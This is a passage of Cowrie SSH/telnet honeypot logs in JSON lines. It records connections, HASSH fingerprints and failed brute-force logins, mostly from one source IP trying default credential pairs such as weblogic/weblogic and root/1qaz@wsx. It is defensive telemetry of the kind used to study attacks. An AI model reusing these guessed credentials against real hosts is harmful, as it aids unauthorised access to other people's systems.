{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:00.870989Z","src_ip":"95.38.165.118","session":"92688ceeb44e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37342,"dst_ip":"10.17.0.5","dst_port":22,"session":"743c399ea594","protocol":"ssh","message":"New connection: 95.38.165.118:37342 (10.17.0.5:22) [session: 743c399ea594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:04.909638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:04.915962Z","src_ip":"95.38.165.118","session":"743c399ea594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:04.928688Z","src_ip":"95.38.165.118","session":"92688ceeb44e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:05.086865Z","src_ip":"95.38.165.118","session":"743c399ea594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:06.466878Z","src_ip":"95.38.165.118","session":"743c399ea594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:08.487735Z","src_ip":"95.38.165.118","session":"743c399ea594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":45226,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb0893db8304","protocol":"ssh","message":"New connection: 95.38.165.118:45226 (10.17.0.5:22) [session: eb0893db8304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:10.180646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:10.253851Z","src_ip":"95.38.165.118","session":"eb0893db8304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:11.040196Z","src_ip":"95.38.165.118","session":"eb0893db8304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:11.530535Z","src_ip":"95.38.165.118","session":"eb0893db8304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:12.697054Z","src_ip":"95.38.165.118","session":"eb0893db8304","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":45242,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d0298fae659","protocol":"ssh","message":"New connection: 95.38.165.118:45242 (10.17.0.5:22) [session: 2d0298fae659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:15.510084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:15.515434Z","src_ip":"95.38.165.118","session":"2d0298fae659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:15.672589Z","src_ip":"95.38.165.118","session":"2d0298fae659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:16.179795Z","src_ip":"95.38.165.118","session":"2d0298fae659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:17.340884Z","src_ip":"95.38.165.118","session":"2d0298fae659","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":51548,"dst_ip":"10.17.0.5","dst_port":22,"session":"f27bf5863b24","protocol":"ssh","message":"New connection: 95.38.165.118:51548 (10.17.0.5:22) [session: f27bf5863b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:21.719558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:21.724648Z","src_ip":"95.38.165.118","session":"f27bf5863b24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:21.884840Z","src_ip":"95.38.165.118","session":"f27bf5863b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:22.899831Z","src_ip":"95.38.165.118","session":"f27bf5863b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41782,"dst_ip":"159.203.135.109","dst_port":23,"session":"4586e1bce818","protocol":"telnet","message":"New connection: 69.4.83.194:41782 (159.203.135.109:23) [session: 4586e1bce818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:23.237187Z"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:25.533663Z","src_ip":"95.38.165.118","session":"f27bf5863b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":54256,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0875e16815c","protocol":"ssh","message":"New connection: 194.59.206.2:54256 (10.17.0.5:22) [session: f0875e16815c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:25.655511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:25.664045Z","src_ip":"194.59.206.2","session":"f0875e16815c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:25.750307Z","src_ip":"194.59.206.2","session":"f0875e16815c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":42354,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cdc13056d2e","protocol":"ssh","message":"New connection: 95.38.165.118:42354 (10.17.0.5:22) [session: 7cdc13056d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:25.767751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:25.773971Z","src_ip":"95.38.165.118","session":"7cdc13056d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:25.842646Z","src_ip":"194.59.206.2","session":"f0875e16815c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:25.938773Z","src_ip":"95.38.165.118","session":"7cdc13056d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42590,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cc7f1d8642f","protocol":"telnet","message":"New connection: 69.4.83.194:42590 (159.203.135.109:23) [session: 1cc7f1d8642f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:26.340052Z"}
{"eventid":"cowrie.session.closed","duration":32.79812479019165,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:26.656775Z","src_ip":"69.4.83.194","session":"0e2e291d553b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42228,"dst_ip":"159.203.135.109","dst_port":23,"session":"5876cf3432c6","protocol":"telnet","message":"New connection: 69.4.83.194:42228 (159.203.135.109:23) [session: 5876cf3432c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:27.397147Z"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:27.686375Z","src_ip":"95.38.165.118","session":"7cdc13056d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":54450,"dst_ip":"10.17.0.5","dst_port":23,"session":"117b59cd1787","protocol":"telnet","message":"New connection: 178.128.93.180:54450 (10.17.0.5:23) [session: 117b59cd1787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:28.231603Z"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:30.078527Z","src_ip":"95.38.165.118","session":"7cdc13056d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":42366,"dst_ip":"10.17.0.5","dst_port":22,"session":"be3eb169e12a","protocol":"ssh","message":"New connection: 95.38.165.118:42366 (10.17.0.5:22) [session: be3eb169e12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:31.224610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:31.236452Z","src_ip":"95.38.165.118","session":"be3eb169e12a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:31.394460Z","src_ip":"95.38.165.118","session":"be3eb169e12a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:32.486964Z","src_ip":"95.38.165.118","session":"be3eb169e12a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.74163293838501,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:34.916695Z","src_ip":"178.128.93.180","session":"47b91534da31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:34.942845Z","src_ip":"95.38.165.118","session":"be3eb169e12a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":40188,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2a83fc46bdd","protocol":"ssh","message":"New connection: 95.38.165.118:40188 (10.17.0.5:22) [session: d2a83fc46bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:36.220087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:36.260172Z","src_ip":"95.38.165.118","session":"d2a83fc46bdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 